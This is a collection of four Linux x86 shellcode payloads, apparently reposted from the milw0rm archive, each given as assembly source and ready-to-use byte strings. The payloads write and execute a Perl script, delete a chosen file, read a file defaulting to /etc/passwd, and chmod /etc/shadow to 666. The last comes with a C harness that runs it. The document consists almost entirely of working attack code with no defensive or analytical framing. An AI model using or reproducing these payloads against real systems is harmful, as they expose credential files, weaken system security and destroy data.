linux/x86 Perl script execution 99 bytes + script length

/*
Author : darkjoker
Site : http://darkjoker.net23.net
Shellcode : linux/x86 Perl script execution 99 bytes + script length


.global _start

_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
xor %edi, %edi
xor %esi, %esi
push %eax
push $0x6c702e30
push $0x30307470
push $0x69726373

mov %esp, %ebx
movb $0x5, %al
movb $0x41, %cl
int $0x80
jmp one

two:

mov %ebx, %esi
mov %eax, %ebx

pop %edi

push %edi

// Begin http://www.int80h.org/strlen/
xor %ecx, %ecx
xor %eax, %eax
not %ecx
repne scasb
not %ecx
dec %ecx
// End http://www.int80h.org/strlen/

pop %edi
mov %ecx, %eax
mov %edi, %ecx
mov %eax, %edx

movb $0x4, %al
int $0x80

movb $0x6, %al
int $0x80

mov %esi, %ebx
movb $0xf, %al
movw $0x1fc, %cx
int $0x80

movb $0xb, %al
xor %ecx, %ecx
xor %edx, %edx
int $0x80

movb $0x1, %al
xor %ebx, %ebx
int $0x80

one:
call two
.string "#!/usr/bin/perl\nprint (\"Hello world!\\n\");\n"
*/
char main [] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x31\xff\x31\xf6\x50\x68\x30\x2e"
"\x70\x6c\x68\x70\x74\x30\x30\x68"
"\x73\x63\x72\x69\x89\xe3\xb0\x05"
"\xb1\x41\xcd\x80\xeb\x38\x89\xde"
"\x89\xc3\x5f\x57\x31\xc9\x31\xc0"
"\xf7\xd1\xf2\xae\xf7\xd1\x49\x5f"
"\x89\xc8\x89\xf9\x89\xc2\xb0\x04"
"\xcd\x80\xb0\x06\xcd\x80\x89\xf3"
"\xb0\x0f\x66\xb9\xfc\x01\xcd\x80"
"\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"
"\xb0\x01\x31\xdb\xcd\x80\xe8\xc3"
"\xff\xff\xff"
"#!/usr/bin/perl\nprint (\"Hello world!\\n\");\n"; // Here script source

# milw0rm

linux/x86 File unlinker 18 bytes + file path length

/*
Author : darkjoker
Site : http://darkjoker.net23.net
Shellcode : linux/x86 File unlinker 18 bytes + file path length

.global _start
_start:
jmp one

two:
pop %ebx
movb $0xa,%al
int $0x80

movb $0x1, %al
xor %ebx, %ebx
int $0x80

one:
call two
.string "file"
*/

char main [] =
"\xeb\x0b\x5b\xb0\x0a\xcd\x80\xb0"
"\x01\x31\xdb\xcd\x80\xe8\xf0\xff"
"\xff\xff"
"file" //Here file path to delete

# milw0rm

Linux/x86 file reader 65 bytes + pathname

/*
Linux/x86 file reader.

65 bytes + pathname
Author: certaindeath

Source code:
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
jmp two

one:
pop %ebx

movb $5, %al
xor %ecx, %ecx
int $0x80

mov %eax, %esi
jmp read

exit:
movb $1, %al
xor %ebx, %ebx
int $0x80

read:
mov %esi, %ebx
movb $3, %al
sub $1, %esp
lea (%esp), %ecx
movb $1, %dl
int $0x80

xor %ebx, %ebx
cmp %eax, %ebx
je exit

movb $4, %al
movb $1, %bl
movb $1, %dl
int $0x80

add $1, %esp
jmp read

two:
call one
.string "file_name"
*/
char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/etc/passwd"; //Put here the file path, default is /etc/passwd

# milw0rm

linux/x86 chmod("/etc/shadow",666) & exit(0) 30 bytes

/*
 Linux/x86 - chmod("/etc/shadow",666) & exit(0)
 
Info reg
      ------------------
  %eax = 15
  %ebx = /etc/shadow
  %ecx = 666

      %eax = 1
      %ebx = 0

 Shellcode 30 bytes
 Author: Jonathan Salwan <>
 Web: http://www.shell-storm.org

Disassembly of section .text:

08048054 <.text>:
8048054: 51                    push   %ecx
8048055: 66 b9 b6 01           mov    $0x1b6,%cx
8048059: 68 61 64 6f 77        push   $0x776f6461
804805e: 68 63 2f 73 68        push   $0x68732f63
8048063: 68 2f 2f 65 74        push   $0x74652f2f
8048068: 89 e3                 mov    %esp,%ebx
804806a: 6a 0f                 push   $0xf
804806c: 58                    pop    %eax
804806d: cd 80                 int    $0x80
804806f: 40                    inc    %eax
8048070: cd 80                 int    $0x80

*/

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[] =  "\x51\x66\xb9\xb6"
   "\x01\x68\x61\x64"
   "\x6f\x77\x68\x63"  // chmod("/etc/shadow",666)
   "\x2f\x73\x68\x68"
   "\x2f\x2f\x65\x74"
   "\x89\xe3\x6a\x0f"
   "\x58\xcd\x80"

   "\x40\xcd\x80";     // exit(0);

printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}

# milw0rm